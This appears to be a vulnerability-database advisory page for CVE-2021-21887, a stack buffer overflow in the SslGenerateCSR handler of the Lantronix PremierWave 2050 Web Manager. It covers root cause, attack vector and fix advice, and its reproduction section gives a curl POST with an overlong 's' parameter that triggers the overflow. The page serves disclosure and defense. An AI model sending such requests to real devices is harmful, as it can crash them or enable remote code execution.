VYPR
Unrated severityNVD Advisory· Published Dec 22, 2021· Updated Aug 3, 2024

CVE-2021-21887

CVE-2021-21887

Description

A stack-based buffer overflow vulnerability exists in the Web Manager SslGenerateCSR functionality of Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU). A specially crafted HTTP request can lead to remote code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

A stack-based buffer overflow in Lantronix PremierWave 2050 Web Manager's SslGenerateCSR function allows authenticated remote code execution.

Vulnerability

A stack-based buffer overflow vulnerability exists in the Web Manager SslGenerateCSR functionality of Lantronix PremierWave 2050 firmware version 8.9.0.0R4 (in QEMU). The bug resides in the ltrx_evo application when handling the SslGenerateCSR AJAX directive. The function constructs an openssl command string into a 1048-byte stack buffer using multiple strcat calls for fields such as s (State), l (Locality), o (Organization), ou (Organizational Unit), and cn (Common Name) without proper length validation. An attacker with authentication and the ssl permission can send a specially crafted HTTP request to trigger the overflow [1].

Exploitation

An authenticated attacker with the ssl permission can send an HTTP POST request to the vulnerable endpoint. The attacker supplies overly long values for parameters like s (State) in the CSR generation request. The program fetches these parameters via http__get_param_by_name and concatenates them into a fixed-size stack buffer using strcat. Because there is no bounds checking, the attacker can overflow the stack buffer and corrupt the return address and other stack frame data. This gives the attacker control over the program counter, leading to arbitrary code execution [1].

Impact

Successful exploitation allows an authenticated remote attacker to achieve remote code execution on the device. The CVSSv3 score is 9.1 (Critical) with vector AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H, indicating high impact on confidentiality, integrity, and availability. The attack scope is changed, meaning the attacker may affect resources beyond the vulnerable component [1].

Mitigation

As of the published report (TALOS-2021-1331), no official patch or fixed version from Lantronix has been disclosed. The tested version 8.9.0.0R4 is confirmed vulnerable. Users are advised to contact Lantronix for updates and restrict network access to the Web Manager interface to trusted users only. Do not rely on workarounds that do not address the root cause [1].

AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

0

No patches discovered yet.

Vulnerability mechanics

Root cause

"Missing bounds checking in repeated strcat calls when constructing an openssl command from user-supplied CSR POST parameters leads to stack-based buffer overflow."

Attack vector

An authenticated attacker with the `ssl` permission sends a crafted HTTP POST request to the Web Manager endpoint that triggers the `SslGenerateCSR` ajax directive [ref_id=1]. By supplying an overly long value in the `s` parameter (or any of the other CSR fields such as `l`, `o`, `ou`, or `cn`), the series of unbounded `strcat` calls overflows the 1048-byte stack buffer [ref_id=1]. This overwrites the saved return address and adjacent stack data, giving the attacker control of the program counter and enabling remote code execution [ref_id=1]. The attack is network-accessible (CVSS:3.0/AV:N) and requires no special network position beyond reachability of the device [ref_id=1].

Affected code

The vulnerability resides in the `SslGenerateCSR` ajax directive handler within the `ltrx_evo` Web Manager application. A 1048-byte stack buffer (`command`) is used to construct an `openssl` command via repeated `strcat` calls without bounds checking [ref_id=1]. The `s` (State), `l` (Locality), `o` (Organization), `ou` (Organizational Unit), and `cn` (Common Name) POST parameters are all concatenated into this buffer unsafely [ref_id=1].

What the fix does

The advisory does not include a patch or vendor fix; it notes that the vendor was disclosed on 2021-06-14 and acknowledged the issue, but no remediation commit is provided [ref_id=1]. To close the vulnerability, the application must replace the unbounded `strcat` calls with bounds-checked string operations (e.g., `strncat` or `snprintf`) that ensure the total constructed command never exceeds the 1048-byte stack buffer [ref_id=1]. Input length validation on each POST parameter before concatenation would also prevent the overflow [ref_id=1].

Preconditions

  • authAttacker must have valid credentials with the 'ssl' permission on the PremierWave 2050 Web Manager
  • networkAttacker must be able to send HTTP POST requests to the device over the network
  • configThe device must be running Lantronix PremierWave 2050 firmware version 8.9.0.0R4 (in QEMU)

Reproduction

curl -s -k -X $'POST' --user admin:PASS --data-binary $'ajax=SslGenerateCSR&c=AU&s=MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM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patches. Citations validated against bundle.

References

1

News mentions

0

No linked articles in our index yet.